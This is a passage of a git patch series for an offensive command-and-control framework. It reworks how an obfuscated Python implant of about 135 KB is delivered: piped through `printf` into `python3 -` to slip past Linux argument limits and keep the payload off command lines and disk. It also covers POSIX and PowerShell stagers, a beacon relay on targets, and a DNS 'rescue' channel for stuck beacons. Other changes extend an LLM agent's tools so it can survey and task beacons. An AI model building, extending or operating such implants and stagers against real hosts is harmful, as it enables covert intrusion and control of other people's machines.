# neither does the alias, so this is a property the @@ -560,40 +566,86 @@ def test_the_one_liners_reach_a_minus_c_through_three_parsers(self): self.assertEqual(hostile, [], "%s carries %r, which one of the three " "parsers would act on" % (key, hostile)) - for what, argv in (("a POSIX shell", shlex.split(one)), - ("CommandLineToArgvW", _argv_w(one))): + if key == "oneliner_unix": + expected = [("a POSIX shell", shlex.split(one), + ["printf", "%s", stage, "|", "python3", + "-"])] + else: + expected = [("a POSIX shell", shlex.split(one), + ["python", "-c", stage]), + ("CommandLineToArgvW", _argv_w(one), + ["python", "-c", stage])] + for what, argv, want in expected: # `assertTrue`, not `assertEqual`: the stage is 115 KB # and a diff of it is not a readable failure. self.assertTrue( - argv == [program, "-c", stage], - "%s does not hand %s over as one -c argument: %d " - "arguments, the last of them %d characters against " - "the stage's %d" - % (what, key, len(argv), len(argv[-1]), len(stage))) - - def test_a_real_shell_hands_the_stage_over_as_one_argument(self): + argv == want, + "%s does not hand %s over with the stage as one " + "argument: %d arguments, the longest of them %d " + "characters against the stage's %d" + % (what, key, len(argv), max(map(len, argv)), + len(stage))) + + def test_no_generated_artifact_puts_the_payload_in_an_argv_entry(self): + # Review Focus 1. Linux refuses any single argv entry over + # 131072 bytes, so a payload passed as `python3 -c ""` + # cannot be executed there at all -- not by any quoting, and not + # through the POSIX stager, which `eval`s the same text and then + # has to exec python with it. macOS has no such limit, which is + # why this was invisible here. + MAX_ARG_STRLEN = 131072 + body = self.generate(1) + one = body["oneliner_unix"] + self.assertGreater(len(one), MAX_ARG_STRLEN, + "the stage shrank; this test no longer proves " + "anything") + self.assertNotIn("python3 -c", one) + self.assertIn("| python3 -", one) + + def test_the_payload_travels_on_stdin_through_a_shell_builtin(self): + # Review Focus 5. `printf` is internal to dash, bash and busybox + # ash, so nothing execs the payload. An external printf would put + # it back in an argv entry and restore the limit. + one = self.generate(1)["oneliner_unix"] + self.assertTrue(one.startswith("printf %s \""), one[:40]) + + def test_the_quoting_invariant_still_holds(self): + # The one-liner gains a pipe and keeps its double quotes; what + # must stay absent is what would make the double-quoted form + # unsafe. `printf %s` puts the format in its own argument, so a + # `%` inside the stage is data and not a directive. + one = self.generate(1)["oneliner_unix"] + for forbidden in ("$", "`", "\\"): + self.assertNotIn(forbidden, one) + + def test_a_real_shell_delivers_the_stage_to_python(self): # The simulation above, done for real on this platform: the - # one-liner with its program replaced by a script that writes its - # arguments out, run through `sh -c` exactly as a C2 task would - # deliver it. + # one-liner with its `python3 -` replaced by a script that writes + # its stdin out, run as a script file. Not `sh -c `: that + # would make the whole line one argv entry again, which is the + # limit this artifact no longer has. body = self.generate(1) one = body["oneliner_unix"] - stage = one[len('python3 -c "'):-1] + suffix = " | python3 -" + self.assertTrue(one.endswith(suffix), one[-40:]) + stage = one[len('printf %s "'):-len('" | python3 -')] with tempfile.TemporaryDirectory() as root: - echo = Path(root) / "argv" + sink = Path(root) / "stdin-sink" out = Path(root) / "out" - echo.write_text('#!/bin/sh\nprintf "%%s" "$2" > "%s"\n' % (out,), + sink.write_text('#!/bin/sh\ncat > "%s"\n' % (out,), encoding="utf-8") - echo.chmod(0o700) - command = str(echo) + one[len("python3"):] - result = subprocess.run(["sh", "-c", command], + sink.chmod(0o700) + script = Path(root) / "deliver.sh" + script.write_text(one[:-len("python3 -")] + str(sink) + "\n", + encoding="utf-8") + result = subprocess.run(["sh", str(script)], capture_output=True, text=True) self.assertEqual(result.returncode, 0, result.stderr[:400]) passed = out.read_text(encoding="utf-8") self.assertTrue(passed == stage, - "`sh -c` did not pass the stage to -c intact: %d " - "characters arrived against the stage's %d" - % (len(passed), len(stage))) + "`sh` did not deliver the stage to python " + "intact: %d characters arrived against the " + "stage's %d" % (len(passed), len(stage))) def test_generated_artifact_exposes_its_own_source_as__src(self): body = self.generate(3) diff --git a/software/tests/test_tunnel_yara.py b/software/tests/test_tunnel_yara.py index 116a76a..d9f1961 100644 --- a/software/tests/test_tunnel_yara.py +++ b/software/tests/test_tunnel_yara.py @@ -251,7 +251,7 @@ class _ArtifactCase(_GeneratorCase): def artifact(self, route="gen"): """`(delivered, expanded)` for one build with a tunnel baked in. - `delivered` is the text inside `python3 -c "..."`, which is what + `delivered` is the text inside `printf %s "..." | python3 -`, which is what actually lands on a host; `expanded` is the source it decodes to, which is what runs and what an analyst recovers. The first is base64 of a deflate stream, so no marker could appear in it @@ -262,11 +262,12 @@ def artifact(self, route="gen"): self.assertEqual(response.status_code, 200, response.data[:400]) body = response.get_json() if route == "gen": - prefix = 'python3 -c "' + prefix = 'printf %s "' + suffix = '" | python3 -' one = body["oneliner_unix"] - self.assertTrue(one.startswith(prefix) and one.endswith('"'), + self.assertTrue(one.startswith(prefix) and one.endswith(suffix), one[:80]) - delivered = one[len(prefix):-1] + delivered = one[len(prefix):-len(suffix)] else: self.assertIsNotNone(self._uploaded, "the gist route uploaded nothing") From 1876a2b653508b9bed8b23bd641318cf4850b08e Mon Sep 17 00:00:00 2001 From: Benji Trapp Date: Mon, 16 Nov 2026 09:11:19 +0100 Subject: [PATCH 07/22] docs: correct the one-liner's shape and size where comments still described python3 -c --- docs/TUNNEL.md | 7 ++++--- software/c2/beacon.py | 22 +++++++++++++--------- software/c2/server.py | 9 ++++++--- software/tests/test_tunnel_spawn.py | 20 ++++++++++++++------ 4 files changed, 37 insertions(+), 21 deletions(-) diff --git a/docs/TUNNEL.md b/docs/TUNNEL.md index 3878403..77ad3a7 100644 --- a/docs/TUNNEL.md +++ b/docs/TUNNEL.md @@ -514,9 +514,10 @@ Then, as an operator step rather than something the stager does: only when it finds nothing. **On Windows the stager is the route, and the inline one-liner is not.** -At roughly 115 KB the generated `python -c "…"` exceeds both the 8191 -character `cmd.exe` command line and the 32767 character `CreateProcess` -limit, so it cannot be delivered on that platform at any quoting. It is +At roughly 135 KB (135,453 characters with one layer, about 138 KB at +the default of three, up to 143 KB at six) the generated `python -c "…"` +exceeds both the 8191 character `cmd.exe` command line and the 32767 +character `CreateProcess` limit, so it cannot be delivered on that platform at any quoting. It is still emitted, because it is the text the Windows stager runs through `Invoke-Expression` when its probe finds a Python — where there is no length limit — and because an operator may paste it into something that diff --git a/software/c2/beacon.py b/software/c2/beacon.py index 2ca1abe..cb1f068 100644 --- a/software/c2/beacon.py +++ b/software/c2/beacon.py @@ -7017,11 +7017,13 @@ def _tunnel_source(self) -> Tuple[bytes, str]: A generated artifact carries its own source in the module global `_src`, bound by each obfuscation layer as it decompresses the next (`_obfuscate_layer` in server.py). That global is the only - copy there is: what this project ships is - `python3 -c ''`, where there is no file to re-run and - `sys.argv[0]` is the literal string "-c" -- which is also why - `_get_beacon_path` answers with something useless in exactly the - mode this runs in. + copy there is: what this project ships on Unix is + `printf %s '' | python3 -`, where the payload is on stdin + (Linux refuses an argv entry over 131072 bytes, so it cannot be + a `-c` argument), there is no file to re-run, and + `sys.argv[0]` is the literal string "-" ("-c" for the Windows + `python -c` one-liner) -- which is also why `_get_beacon_path` + answers with something useless in exactly the mode this runs in. No `_src` means this file was run straight from a checkout rather than built into an artifact, and then `__file__` is the source. A @@ -7313,10 +7315,12 @@ def _get_beacon_path(self) -> str: the command line carries nothing to find. Otherwise the bundled payload if there is one, and `sys.argv[0]` - if there is not -- which is the one thing this project ships as - `python3 -c ''`, where `sys.argv[0]` is the literal "-c" - and the answer is useless. A build that brought an interpreter is - exactly the build that can do better, so it does. + if there is not -- which is the one thing this project ships: + the Unix one-liner is `printf %s '' | python3 -`, where + `sys.argv[0]` is the literal "-" (the Windows `python -c` + one-liner gives "-c"), and the answer is useless. A build that + brought an interpreter is exactly the build that can do better, + so it does. """ bundled = self._bundled_payload() if bundled: diff --git a/software/c2/server.py b/software/c2/server.py index b7a1a82..73de598 100644 --- a/software/c2/server.py +++ b/software/c2/server.py @@ -606,9 +606,12 @@ def _obfuscate_layer(code: str, var_mod: str) -> str: The emitted line binds the decompressed text to the module global `_src` before executing it, instead of handing it straight to `exec`. That is what lets a running artifact start a second mode of itself: - under `python3 -c` there is no file to re-run and `sys.argv[0]` is the - literal string "-c", so the only copy of the source is the one the - process is holding. `Beacon._exec_tunnel` writes it to a + under `printf %s "" | python3 -` there is no file to re-run and + `sys.argv[0]` is the literal string "-" (the Windows one-liner's + `python -c` gives "-c"), so the only copy of the source is the one + the process is holding. The payload travels on stdin rather than as + a `-c` argument because Linux refuses an argv entry over 131072 + bytes. `Beacon._exec_tunnel` writes it to a `python3 -` child on stdin, which keeps the payload off the child's command line and off the disk. diff --git a/software/tests/test_tunnel_spawn.py b/software/tests/test_tunnel_spawn.py index 5fd7c7d..95850dd 100644 --- a/software/tests/test_tunnel_spawn.py +++ b/software/tests/test_tunnel_spawn.py @@ -5,9 +5,11 @@ What this task has to get right, and how these tests hold it. -**`python3 -c` leaves nothing to re-execute.** `sys.argv[0]` is the literal -string `-c`, so `_get_beacon_path` returns `-c` resolved against the -working directory in exactly the mode this project ships. The artifact +**Running from stdin leaves nothing to re-execute.** The Unix one-liner is +`printf %s "" | python3 -`, so `sys.argv[0]` is the literal string +`-` (`-c` for the Windows `python -c` one-liner), and `_get_beacon_path` +returns it resolved against the working directory in exactly the mode +this project ships. The artifact therefore has to keep its own source, which is what `_obfuscate_layer`'s `_src` binding is for, and the child is started as `python3 -` with that source on stdin. The three alternatives are all worse: re-running @@ -561,7 +563,7 @@ def test_the_one_liners_reach_their_interpreter_through_three_parsers(self): # neither does the alias, so this is a property the # emitter can keep rather than escape around. Asserted # on the set rather than with `assertNotIn`, which would - # print the whole 115 KB stage on failure. + # print the whole 135 KB stage on failure. hostile = sorted(set(stage) & set('"$`\\\n')) self.assertEqual(hostile, [], "%s carries %r, which one of the three " @@ -576,7 +578,7 @@ def test_the_one_liners_reach_their_interpreter_through_three_parsers(self): ("CommandLineToArgvW", _argv_w(one), ["python", "-c", stage])] for what, argv, want in expected: - # `assertTrue`, not `assertEqual`: the stage is 115 KB + # `assertTrue`, not `assertEqual`: the stage is 135 KB # and a diff of it is not a readable failure. self.assertTrue( argv == want, @@ -609,7 +611,13 @@ def test_the_payload_travels_on_stdin_through_a_shell_builtin(self): one = self.generate(1)["oneliner_unix"] self.assertTrue(one.startswith("printf %s \""), one[:40]) - def test_the_quoting_invariant_still_holds(self): + def test_the_quoting_invariant_survives_the_new_form(self): + # A regression guard, not evidence for the argv fix: this passed + # before that change too, because the old `python3 -c ""` + # form had the same stage with the same absences. It earns its + # place by pinning an invariant the new form could plausibly have + # broken, and it would catch a future form that interpolates the + # stage somewhere a `$`, a backtick or a backslash becomes live. # The one-liner gains a pipe and keeps its double quotes; what # must stay absent is what would make the double-quoted form # unsafe. `printf %s` puts the format in its own argument, so a From 050a0efa133f9e21bd51cd63f9e51152054510c6 Mon Sep 17 00:00:00 2001 From: Benji Trapp Date: Mon, 16 Nov 2026 09:22:15 +0100 Subject: [PATCH 08/22] test: make the argv test cover the stager and say what the printf test cannot pin --- docs/TUNNEL.md | 20 +++++++++--------- software/tests/test_tunnel_spawn.py | 32 +++++++++++++++++++++++++++++ software/tests/test_tunnel_yara.py | 13 ++++++------ 3 files changed, 49 insertions(+), 16 deletions(-) diff --git a/docs/TUNNEL.md b/docs/TUNNEL.md index 77ad3a7..547accb 100644 --- a/docs/TUNNEL.md +++ b/docs/TUNNEL.md @@ -485,8 +485,8 @@ check — and not about the package being present. ## Staging onto a host with no Python The ordinary artifact is `printf %s "…" | python3 -`, and a one-liner -cannot install Python. The second artifact shape from the same generator is a **stager** -— a POSIX shell script and a PowerShell script — which: +cannot install Python. The second artifact shape from the same generator +is a **stager** — a POSIX shell script and a PowerShell script — which: 1. **probes** for a usable interpreter and, finding one, runs the ordinary one-liner and stops there; @@ -517,14 +517,14 @@ only when it finds nothing. At roughly 135 KB (135,453 characters with one layer, about 138 KB at the default of three, up to 143 KB at six) the generated `python -c "…"` exceeds both the 8191 character `cmd.exe` command line and the 32767 -character `CreateProcess` limit, so it cannot be delivered on that platform at any quoting. It is -still emitted, because it is the text the Windows stager runs through -`Invoke-Expression` when its probe finds a Python — where there is no -length limit — and because an operator may paste it into something that -does not go through `cmd.exe`. Both one-liners are therefore -double-quoted with single quotes inside, and the stage carries no `$`, -backtick, backslash or `"`, so the same stage survives `sh`, `cmd.exe` and -`Invoke-Expression` alike. +character `CreateProcess` limit, so it cannot be delivered on that +platform at any quoting. It is still emitted, because it is the text the +Windows stager runs through `Invoke-Expression` when its probe finds a +Python — where there is no length limit — and because an operator may +paste it into something that does not go through `cmd.exe`. Both +one-liners are therefore double-quoted with single quotes inside, and the +stage carries no `$`, backtick, backslash or `"`, so the same stage +survives `sh`, `cmd.exe` and `Invoke-Expression` alike. **On Linux the payload cannot be an argument at all.** The kernel refuses any single `argv` entry over 131072 bytes (`MAX_ARG_STRLEN`), and the diff --git a/software/tests/test_tunnel_spawn.py b/software/tests/test_tunnel_spawn.py index 95850dd..a652401 100644 --- a/software/tests/test_tunnel_spawn.py +++ b/software/tests/test_tunnel_spawn.py @@ -595,6 +595,13 @@ def test_no_generated_artifact_puts_the_payload_in_an_argv_entry(self): # through the POSIX stager, which `eval`s the same text and then # has to exec python with it. macOS has no such limit, which is # why this was invisible here. + # + # "Every artifact" is the two Linux delivery routes, the + # one-liner and the POSIX stager that embeds it. `oneliner_win` + # is excluded on purpose: it is still `python -c ""` + # because it only ever travels through `Invoke-Expression`, where + # no length limit applies, and the Windows stager is the route + # for a Windows host in any case. MAX_ARG_STRLEN = 131072 body = self.generate(1) one = body["oneliner_unix"] @@ -604,10 +611,35 @@ def test_no_generated_artifact_puts_the_payload_in_an_argv_entry(self): self.assertNotIn("python3 -c", one) self.assertIn("| python3 -", one) + stager = body["stager_nix"] + self.assertNotIn("python3 -c", stager) + self.assertIn("| python3 -", stager) + # The payload may sit in one place in the stager, and that place + # is the argument of `eval`, a shell builtin, which nothing + # execs. Any other line that large would be somewhere an exec'd + # program could be handed it. + oversized = [line.strip()[:20] for line in stager.splitlines() + if len(line) > MAX_ARG_STRLEN] + self.assertEqual(len(oversized), 1, oversized) + self.assertTrue(oversized[0].startswith("eval '"), oversized[0]) + + self.assertTrue(body["oneliner_win"].startswith('python -c "'), + "the Windows one-liner was meant to stay a -c " + "form; if that changed on purpose, so must the " + "comment above") + def test_the_payload_travels_on_stdin_through_a_shell_builtin(self): # Review Focus 5. `printf` is internal to dash, bash and busybox # ash, so nothing execs the payload. An external printf would put # it back in an argv entry and restore the limit. + # + # What this pins is the form of the generated string: it starts + # with `printf %s "`. What it cannot pin is whether the shell + # that eventually runs the string resolves `printf` internally; + # that is a property of the target's shell, not of anything + # generated here. dash, bash and busybox ash all do, and a shell + # that used an external printf would put the payload back in an + # argv entry and bring the limit back with it. one = self.generate(1)["oneliner_unix"] self.assertTrue(one.startswith("printf %s \""), one[:40]) diff --git a/software/tests/test_tunnel_yara.py b/software/tests/test_tunnel_yara.py index d9f1961..b814ece 100644 --- a/software/tests/test_tunnel_yara.py +++ b/software/tests/test_tunnel_yara.py @@ -251,12 +251,13 @@ class _ArtifactCase(_GeneratorCase): def artifact(self, route="gen"): """`(delivered, expanded)` for one build with a tunnel baked in. - `delivered` is the text inside `printf %s "..." | python3 -`, which is what - actually lands on a host; `expanded` is the source it decodes to, - which is what runs and what an analyst recovers. The first is - base64 of a deflate stream, so no marker could appear in it - literally -- it is checked anyway, because a marker in the - *wrapper* would be a real leak and costs nothing to rule out. + `delivered` is the text inside `printf %s "..." | python3 -`, + which is what actually lands on a host; `expanded` is the source + it decodes to, which is what runs and what an analyst recovers. + The first is base64 of a deflate stream, so no marker could + appear in it literally -- it is checked anyway, because a marker + in the *wrapper* would be a real leak and costs nothing to rule + out. """ response = getattr(self, "post_" + route)(self.asked_for()) self.assertEqual(response.status_code, 200, response.data[:400]) From 9e22826aa365d6d0f3a8f818409fdaba079182d1 Mon Sep 17 00:00:00 2001 From: Benji Trapp Date: Mon, 16 Nov 2026 09:41:26 +0100 Subject: [PATCH 09/22] fix(relay): stop() left the port accepting on Linux --- software/c2/beacon.py | 12 ++++++++++++ software/tests/test_beacon.py | 34 ++++++++++++++++++++++++++++++++++ 2 files changed, 46 insertions(+) diff --git a/software/c2/beacon.py b/software/c2/beacon.py index cb1f068..12a4f75 100644 --- a/software/c2/beacon.py +++ b/software/c2/beacon.py @@ -2097,6 +2097,18 @@ def start(self) -> int: def stop(self): self._running = False if self._server: + # close() alone does not wake an accept() blocked in another + # thread: closing a descriptor someone is blocked on is undefined + # in POSIX. macOS wakes it anyway (and there shutdown() raises + # ENOTCONN on a listener, so close() does the waking); Linux + # leaves the socket bound and still accepting until accept() + # returns, so a stopped relay would keep an open port on the + # target. shutdown() is what wakes it there. It can raise -- + # teardown must not, and close() below still runs. + try: + self._server.shutdown(socket.SHUT_RDWR) + except Exception: + pass try: self._server.close() except Exception: diff --git a/software/tests/test_beacon.py b/software/tests/test_beacon.py index 4813e8c..a562ebf 100644 --- a/software/tests/test_beacon.py +++ b/software/tests/test_beacon.py @@ -897,6 +897,40 @@ def test_stop_closes_listener(self): with self.assertRaises((ConnectionRefusedError, OSError)): socket.create_connection(("127.0.0.1", port), timeout=2).close() + def test_stop_shuts_the_listener_down_before_closing_it(self): + # Closing a descriptor another thread is blocked in accept() on is + # undefined in POSIX: macOS wakes the accept, Linux leaves the socket + # bound and ACCEPTING until it returns. So on Linux the operator + # stops the relay and the target keeps an open port. shutdown() + # wakes a blocked accept on Linux (on macOS it raises ENOTCONN on a + # listener and close() does the waking); close() alone does not. + # + # A recording proxy on `relay._server`, not a monkeypatch on the + # socket: socket objects use __slots__ and reject attribute + # assignment (measured), and this way the test pins the ORDER, which + # is the whole property -- shutdown after close would fix nothing. + class _Recorder: + def __init__(self, inner): + self._inner, self.calls = inner, [] + + def shutdown(self, how): + self.calls.append("shutdown") + return self._inner.shutdown(how) + + def close(self): + self.calls.append("close") + return self._inner.close() + + def __getattr__(self, name): + return getattr(self._inner, name) + + relay = self._setup() + recorder = _Recorder(relay._server) + relay._server = recorder + relay.stop() + self.relay = None + self.assertEqual(recorder.calls, ["shutdown", "close"]) + class TestBeaconNtlmWiring(unittest.TestCase): def _ntlm_config(self, **ntlm): From 7ec5f01aba519bdebf23178eac67b172d0d7bc51 Mon Sep 17 00:00:00 2001 From: Benji Trapp Date: Mon, 16 Nov 2026 10:00:32 +0100 Subject: [PATCH 10/22] feat(rescue): a rescue nobody can claim is no longer silent --- software/c2/server.py | 9 ++ software/tests/test_dns_rescue.py | 191 ++++++++++++++++++++++++++++++ 2 files changed, 200 insertions(+) diff --git a/software/c2/server.py b/software/c2/server.py index 73de598..812af05 100644 --- a/software/c2/server.py +++ b/software/c2/server.py @@ -938,6 +938,11 @@ def api_agents(): "caps": info.get("caps") or []}) return jsonify(agent_list) + @app.route("/api/rescues/unattributed", methods=["GET"]) + @require_auth + def api_rescues_unattributed(): + return jsonify({"unattributed": list(reversed(unattributed_rescues))}) + @app.route("/api/agents/", methods=["GET"]) @require_auth def api_agent_detail(agent_id): @@ -2959,6 +2964,10 @@ def _handle_rescue(payload: dict, crypto: ServerCrypto): info["last_channel"] = "dns" return _handle_beacon({"agent_id": agent_id}, crypto) + # No agent id here: the record carries a fingerprint and leg codes, + # never a string from the target, so the summary is safe to log whole. + _log_event("RESCUE", "A stuck beacon nobody can claim (fingerprint " + "%04x) says: %s" % (record["fingerprint"], stuck["summary"])) unattributed_rescues.append(stuck) del unattributed_rescues[:-_RESCUE_UNATTRIBUTED_MAX] return _fake_response() diff --git a/software/tests/test_dns_rescue.py b/software/tests/test_dns_rescue.py index ba428ff..c728e79 100644 --- a/software/tests/test_dns_rescue.py +++ b/software/tests/test_dns_rescue.py @@ -1436,6 +1436,197 @@ def test_a_rescue_routes_through_the_action_dispatch_by_its_key(self): self.assertIn("WRAPPER_KEY", src) +class TestARescueNobodyCanClaim(unittest.TestCase): + """The diagnosis of the beacon that never registered, made visible. + + It used to be appended to a list nothing read: received, decrypted and + decoded, then discarded into memory. Every record here is built by the + real path -- the beacon's own `_encrypt`, POSTed to `/` -- rather than + appended to the list. + """ + + TOKEN = "operator-token" + + def setUp(self): + import tempfile + + from software.c2 import server as server_mod + + self.server_mod = server_mod + self.crypto = server_mod.ServerCrypto(_KEY) + tmp = tempfile.TemporaryDirectory() + self.addCleanup(tmp.cleanup) + self.app = server_mod.create_app(self.crypto, self.TOKEN, + pathlib_Path(tmp.name)) + self.beacon = _a_beacon() + server_mod.agents.clear() + self.addCleanup(server_mod.agents.clear) + del server_mod.unattributed_rescues[:] + self.addCleanup(server_mod.unattributed_rescues.clear) + before = len(server_mod.event_log) + self.addCleanup(lambda: server_mod.event_log.__delitem__( + slice(before, None))) + self._first_new_log = before + + def _auth(self): + return {"Authorization": "Bearer %s" % self.TOKEN} + + def _send(self, agent="a-box-that-never-registered", status=407, + fingerprint=None): + raw = dns_rescue.pack( + {"https": (dns_rescue.CLASSES["http_status"], status), + "dns": (dns_rescue.CLASSES["answered"], 0)}, + dns_rescue.FLAG_DNS_ANSWERED, + dns_rescue.fingerprint(agent) if fingerprint is None + else fingerprint) + blob = self.beacon._encrypt( + {dns_rescue.WRAPPER_KEY: base64.b64encode(raw).decode()}) + with self.app.test_client() as client: + response = client.post("/", json={"cipher_text": blob}) + self.assertEqual(response.status_code, 200) + + def _served(self, client=None, **kw): + client = client or self.app.test_client() + return client.get("/api/rescues/unattributed", + headers=self._auth(), **kw) + + def _rescue_log(self): + return [e for e in self.server_mod.event_log[self._first_new_log:] + if e["cat"] == "RESCUE"] + + def test_an_unattributed_rescue_is_logged_so_it_is_not_silent(self): + # It used to be appended to a list nothing read: decoded, stored and + # discarded. The beacon that cannot be attributed is the one most + # likely to be stuck, because never registering means the way out + # was never open. + self._send(status=407) + entries = self._rescue_log() + self.assertEqual(len(entries), 1) + self.assertIn("407", entries[0]["msg"]) + self.assertIn("HTTPS", entries[0]["msg"]) + self.assertIn("%04x" % dns_rescue.fingerprint( + "a-box-that-never-registered"), entries[0]["msg"]) + + def test_an_attributed_rescue_is_not_logged_as_unclaimed(self): + self.server_mod.agents["clumsy-raccoon"] = { + "id": "implant-1", "hostname": "h", "last_seen": "now", + "caps": []} + self._send(agent="clumsy-raccoon") + self.assertEqual(self._rescue_log(), []) + self.assertEqual(self._served().get_json(), {"unattributed": []}) + + def test_the_route_returns_it_newest_first(self): + self._send(agent="first", status=401) + self._send(agent="second", status=402) + self._send(agent="third", status=403) + response = self._served() + self.assertEqual(response.status_code, 200) + records = response.get_json()["unattributed"] + self.assertEqual([r["fingerprint"] for r in records], + [dns_rescue.fingerprint(a) + for a in ("third", "second", "first")]) + self.assertIn("403", records[0]["summary"]) + for record in records: + for key in ("summary", "dns_answered", "fingerprint", "at", + "https", "dns", "smb", "quic"): + self.assertIn(key, record) + self.assertEqual(records[0]["https"], ["http_status", 403]) + + def test_the_route_is_empty_when_nothing_has_been_received(self): + self.assertEqual(self._served().get_json(), {"unattributed": []}) + + def test_the_route_needs_the_operator_token(self): + self._send() + client = self.app.test_client() + self.assertEqual( + client.get("/api/rescues/unattributed").status_code, 401) + wrong = client.get("/api/rescues/unattributed", + headers={"Authorization": "Bearer nope"}) + self.assertEqual(wrong.status_code, 401) + self.assertNotIn(b"summary", wrong.data) + + def test_the_route_is_not_on_the_agent_socket(self): + # Same policy as every other /api/ route: a request judged by the + # socket it arrived on, refused with the catch-all's own answer. + import tempfile + + self._send() + with tempfile.TemporaryDirectory() as tmp: + split = self.server_mod.create_app( + self.crypto, self.TOKEN, pathlib_Path(tmp), + operator_port=8444) + client = split.test_client() + cover = client.post("/", json={"not": "a beacon"}, + environ_overrides={"SERVER_PORT": "9444"}) + refused = client.get("/api/rescues/unattributed", + headers=self._auth(), + environ_overrides={"SERVER_PORT": "9444"}) + self.assertEqual((refused.status_code, refused.data), + (cover.status_code, cover.data)) + self.assertNotIn(b"unattributed", refused.data) + served = client.get("/api/rescues/unattributed", + headers=self._auth(), + environ_overrides={"SERVER_PORT": "8444"}) + self.assertEqual(served.status_code, 200) + self.assertEqual(len(served.get_json()["unattributed"]), 1) + + def test_a_rescue_for_a_deleted_agent_is_reported_not_dropped(self): + # Review Focus 3. Attribution matches the live fleet, so a record + # for an agent the operator has removed lands here. + agent = "clumsy-raccoon" + self.server_mod.agents[agent] = { + "id": "implant-1", "hostname": "h", "last_seen": "now", + "caps": []} + self._send(agent=agent) + self.assertIn("stuck", self.server_mod.agents[agent]) + self.assertEqual(self._served().get_json(), {"unattributed": []}) + + del self.server_mod.agents[agent] + self._send(agent=agent, status=503) + records = self._served().get_json()["unattributed"] + self.assertEqual(len(records), 1) + self.assertEqual(records[0]["fingerprint"], + dns_rescue.fingerprint(agent)) + self.assertIn("503", records[0]["summary"]) + self.assertEqual(len(self._rescue_log()), 1) + + def test_nothing_in_the_record_is_treated_as_an_agent_id(self): + # Review Focus 3. The record carries a 2-byte fingerprint and leg + # codes. No string from the target can reach it, and the route must + # not invent an id from the fingerprint. + fp = dns_rescue.fingerprint("a-box-that-never-registered") + lookalikes = ("%04x" % fp, "%d" % fp, "0x%04x" % fp) + for name in lookalikes: + self.server_mod.agents[name] = { + "id": "impl-" + name, "hostname": "h", "last_seen": "now", + "caps": []} + self._send() + record = self._served().get_json()["unattributed"][0] + for key in ("agent_id", "agent", "id", "name"): + self.assertNotIn(key, record) + self.assertEqual(sorted(k for k, v in record.items() + if isinstance(v, str)), ["at", "summary"]) + self.assertEqual(self._rescue_log()[0]["agent"], "") + for name in lookalikes: + self.assertNotIn("stuck", self.server_mod.agents[name]) + self.assertEqual(set(self.server_mod.agents), set(lookalikes)) + with self.app.test_client() as client: + for name in lookalikes: + logs = client.get("/api/logs/agent/" + name, + headers=self._auth()).get_json() + self.assertEqual(logs, []) + + def test_the_list_stays_capped(self): + # Review Focus 2's other half: 51 records leave 50. + cap = self.server_mod._RESCUE_UNATTRIBUTED_MAX + for n in range(cap + 1): + self._send(fingerprint=n) + records = self._served().get_json()["unattributed"] + self.assertEqual(len(records), cap) + self.assertEqual(records[0]["fingerprint"], cap) + self.assertEqual(records[-1]["fingerprint"], 1) + + def _operator_script(cache={}): """The inline JS of the operator GUI, with literal text removed. From 9971beec98835c4eb8585d2e7c73cfcfc9b3a24a Mon Sep 17 00:00:00 2001 From: Benji Trapp Date: Mon, 16 Nov 2026 10:12:32 +0100 Subject: [PATCH 11/22] feat(rescue): the agent sees the rescues it cannot act on --- software/agent/c2client.py | 19 +++ software/agent/tools/egress.py | 52 ++++++-- software/tests/test_dns_rescue.py | 196 ++++++++++++++++++++++++++++-- 3 files changed, 241 insertions(+), 26 deletions(-) diff --git a/software/agent/c2client.py b/software/agent/c2client.py index 878dc40..6db7087 100644 --- a/software/agent/c2client.py +++ b/software/agent/c2client.py @@ -21,6 +21,7 @@ is written to that shape and does not support the old one): GET /api/agents list_agents + GET /api/rescues/unattributed unattributed_rescues GET /api/agents/ get_agent POST /api/agents//task queue_task (takes a `lane`*) GET /api/tasks/ get_task_result @@ -273,6 +274,24 @@ async def list_agents(self) -> List[dict]: raise self._bad_shape("a list of beacons") return payload + async def unattributed_rescues(self) -> List[dict]: + """Rescues the C2 received but could not match to any beacon. + + Newest first. A 404 reads as "none": a team server older than the + route has nothing of this kind to report. It answers 405 rather + than 404 (its catch-all takes only POST), and that is deliberately + not tolerated here -- the caller that wants to degrade on it does so. + """ + payload = await self._request( + "GET", "/api/rescues/unattributed", allow_missing=True) + if payload is None: + return [] + records = self._expect_dict( + payload, "the unattributed rescues").get("unattributed") + if not isinstance(records, list): + raise self._bad_shape("a list of unattributed rescues") + return records + async def get_agent(self, agent_id: str) -> Optional[dict]: """One beacon, or None when the C2 does not know the id. diff --git a/software/agent/tools/egress.py b/software/agent/tools/egress.py index 0e709c8..e0987db 100644 --- a/software/agent/tools/egress.py +++ b/software/agent/tools/egress.py @@ -21,6 +21,7 @@ import json +from software.agent.c2client import C2Unauthorized, C2Unavailable from software.agent.llm.provider import ToolSpec from software.agent.tools import CORE, Entry @@ -53,6 +54,18 @@ def _stuck_of(agent): return stuck if isinstance(stuck, dict) else None +def _leg_report(record): + return { + "summary": record.get("summary", ""), + # False means nothing can leave: the resolver did not answer, so a + # queued attempt will never reach it either. + "dns_answered": bool(record.get("dns_answered")), + "reported_at": record.get("at", ""), + "legs": {leg: record.get(leg) for leg in + ("https", "dns", "smb", "quic")}, + } + + def _get_stuck_beacons(ctx): async def get_stuck_beacons(): agents = await ctx.c2.list_agents() @@ -61,18 +74,27 @@ async def get_stuck_beacons(): stuck = _stuck_of(agent) if stuck is None: continue - out.append({ - "beacon_id": agent.get("id") or agent.get("agent_id"), - "hostname": agent.get("hostname", ""), - "summary": stuck.get("summary", ""), - # False means nothing can leave: the resolver did not - # answer, so a queued attempt will never reach it either. - "dns_answered": bool(stuck.get("dns_answered")), - "reported_at": stuck.get("at", ""), - "legs": {leg: stuck.get(leg) for leg in - ("https", "dns", "smb", "quic")}, - }) - return {"stuck": out} + entry = _leg_report(stuck) + entry["beacon_id"] = agent.get("id") or agent.get("agent_id") + entry["hostname"] = agent.get("hostname", "") + out.append(entry) + + # Rescues the server could not attribute to any beacon. They are + # reported under their own key because there is no id to task: mixed + # into `stuck`, a model would try to queue work against one. + # + # A failure to ask degrades to an empty list. A team server older + # than the route answers 405 (its catch-all takes only POST), which + # the client rightly treats as an error rather than a missing + # resource, so the tool absorbs it here instead of failing a call + # whose main answer is already in hand. + try: + records = await ctx.c2.unattributed_rescues() + except (C2Unavailable, C2Unauthorized): + records = [] + unattributed = [_leg_report(r) for r in records or () + if isinstance(r, dict)] + return {"stuck": out, "unattributed": unattributed} return get_stuck_beacons @@ -139,7 +161,11 @@ def entries(): "List beacons that reported being unable to reach the team " "server, with the reason each 